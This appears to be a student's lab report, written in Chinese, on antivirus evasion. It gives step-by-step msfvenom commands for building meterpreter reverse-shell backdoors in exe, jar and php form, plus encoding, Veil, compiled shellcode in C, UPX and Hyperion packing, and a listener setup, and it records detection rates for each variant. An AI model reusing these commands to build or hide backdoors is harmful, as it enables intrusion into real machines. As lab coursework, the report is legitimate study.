一、实验目的
1.利用msfvenom生成多种类型的文件及其多次编码版本
2.利用veil生成恶意代码
3.利用C语言结合shellcode生成恶意文件
4.利用upx压缩壳以及hyp加密壳技术实现免杀
5.开启杀软后回连实测
二、实验过程
接下来的免杀效果将基于virscan检测平台检测结果进行评价,网址为https://www.virscan.org。

主机IP:
172.16.240.137
虚拟机IP:
192.168.52.131
1.1构建评价基准
利用msfvenom直接生成一个后门程序,将其在virscan的检测结果作为评价基准
使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 PORT=2415 -f exe > black20232415.exe

使用virscon检测,检测结果为:17/48,即在48个检测引擎中,有17个引擎认为该文件含有恶意代码。

1.2使用Msfvenom编码
使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f exe > black20232415_2.exe

生成一个Windows下的恶意文件并使用名为shikata_ga_nai的编码技术进行伪装。

使用virscon检测,检测结果为:14/48,即在48个检测引擎中,有14个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。
使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f exe > black20232415_3.exe
对文件进行10次编码
免杀检测结果为:

即在48个检测引擎中,有12个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。
使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 x>black20232415.jar
生成jar文件和编码的jar文件

免杀检测结果为:

即在48个检测引擎中,有14个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。
使用命令:msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.52.131 LPORT=2415 x>black20232415_2.jar
对jar文件进行十次编码

免杀检测结果为:

即在48个检测引擎中,有14个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。
使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 x> black20232415.php
生成php文件和编码的php文件

免杀检测结果为:

即在48个检测引擎中,有8个引擎认为该文件含有恶意代码。比基准结果少的多,效果比较明显。
使用命令:msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.52.131 LPORT=2415 x> black20232415_2.php
对php文件进行10次编码
免杀检测结果为:

即在48个检测引擎中,有3个引擎认为该文件含有恶意代码。比基准结果少很多,效果显著。
php恶意代码的动态执行、动态构造变量函数名等特性让恶意行为易隐藏。
1.3 使用veil免杀工具
准备环境:
下载安装veil
在交互界面中输入use 1打开Evasion躲避模块,生成能够免杀的恶意可执行文件。

输入list查看所有可用的载荷种类

输入use 7,生成一个用C语言编写的、Meterpreter类型的、使用反向TCP连接的Windows可执行文件

输入配置信息:
set LHOST 192.168.52.131
set LPORT 2415
generate
veil20232415

生成的可执行文件:

免杀检测结果为:

即在48个检测引擎中,有10个引擎认为该文件含有恶意代码。比基准结果少的多,有一定的免杀效果。veil通过模拟正常的编译流程,极大提高了恶意文件的免杀能力。
1.4使用C语言调用Shellcode
使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 -f c
将恶意代码嵌入到一个用C语言编写的程序中

为上述生成的恶意代码增添一个main函数

使用命令:i686-w64-mingw32-g++ black20232415.c -o black20232415.exe
将C文件编译为可执行文件


免杀检测结果为:

即在48个检测引擎中,有8个引擎认为该文件含有恶意代码。比基准结果少的多,有一定的免杀效果。
1.5使用加壳工具
使用压缩壳UPX
使用命令:upx black20232415_c.exe -o black20232415_c_upx.exe
给shellcode加上一个upx压缩壳

免杀检测结果为:

即在48个检测引擎中,有7个引擎认为该文件含有恶意代码。比基准结果少的多,有较强的免杀效果。它通过加密和压缩,隐藏了恶意代码的某些特征
使用加密壳Hyperion
使用命令:
cp black20232415_c.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
将待加密的文件black20232415_c.exe复制到Hyperion工具所在的工作目录中,再将当前的工作目录切换到Hyperion所在的文件夹。
使用命令:wine hyperion.exe -v black20232415_c.exe black20232415_c_hyp.exe

免杀检测结果为:

即在48个检测引擎中,有20个引擎认为该文件含有恶意代码。比基准结果还要多,免杀效果减弱了。可能是杀毒软件已经将使用Hyperion加密壳这种行为,学习为一种高风险的恶意行为模式。
4.6组合使用msfvenom工具与加壳技术
首先通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f c > 20232415_test.c生成一个经过10次多态编码的C语言格式的shellcode

再向生成的文件中加入main函数

通过命令:i686-w64-mingw32-g++ 20232415_test.c -o 20232415_test_c.exe将其编译为可执行文件

通过命令:upx 20232415_test_c.exe -o 20232415_test_c_upx.exe为其加upx压缩壳

通过命令:wine hyperion.exe -v 20232415_test_c_upx.exe 20232415_test_c_upx_hyp.exe为其加hyp加密壳

免杀检测结果为:

即在48个检测引擎中,有19个引擎认为该文件含有恶意代码。比基准结果还要多,免杀效果减弱了。猜测应该是加密壳的特征被被杀毒软件所识别导致的。
4.7开启杀软回连实测
进入msf的控制台,配置监听处理器、载荷类型、IP地址与监听端口等相关信息
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.131
set LPORT 2415
exploit
Windows主机作为目标主机,在其上启动后门程序black20232415_c_upx.exe。发现启动瞬间就被火绒发现并卸载了

回连失败
三、问题及解决方案
问题一:
解决方法:
四、问题回答
(1)杀软是如何检测出恶意代码的?
杀软主要通过特征码检测、行为分析、启发式扫描三种机制检测恶意代码。
(2)免杀是做什么?
免杀通过对恶意代码进行技术处理,规避或绕过杀毒软件的检测与拦截,使恶意代码能够在目标系统中正常运行并完成预期恶意行为。
(3)免杀的基本方法有哪些?
免杀的基本方法主要包括通过编码器修改特征码、用压缩壳或加密壳隐藏原始代码、利用非主流平台或编程语言重新生成代码,以及组合多种技术多层隐藏恶意属性。
五、思想感悟
本次实验我学习并实践了使用msfvenom、veil、加壳工具进行免杀的技术手段,通过这次实验,我对于免杀技术的原理和技术有了初步的了解。
尽管隐藏恶意代码的手段有很多,但现代杀毒软件仍能有效的将其识别出来,这说明杀毒软件仍是保护我们的一种重要且有效的手段。同时,在任务六中,尽管我使用了多种免杀手段,但效果仍然不如使用某些单一的免杀方式,这说明免杀程序并非越复杂越好,需要具体使用某些合适的免杀手段的组合来实现免杀的目的。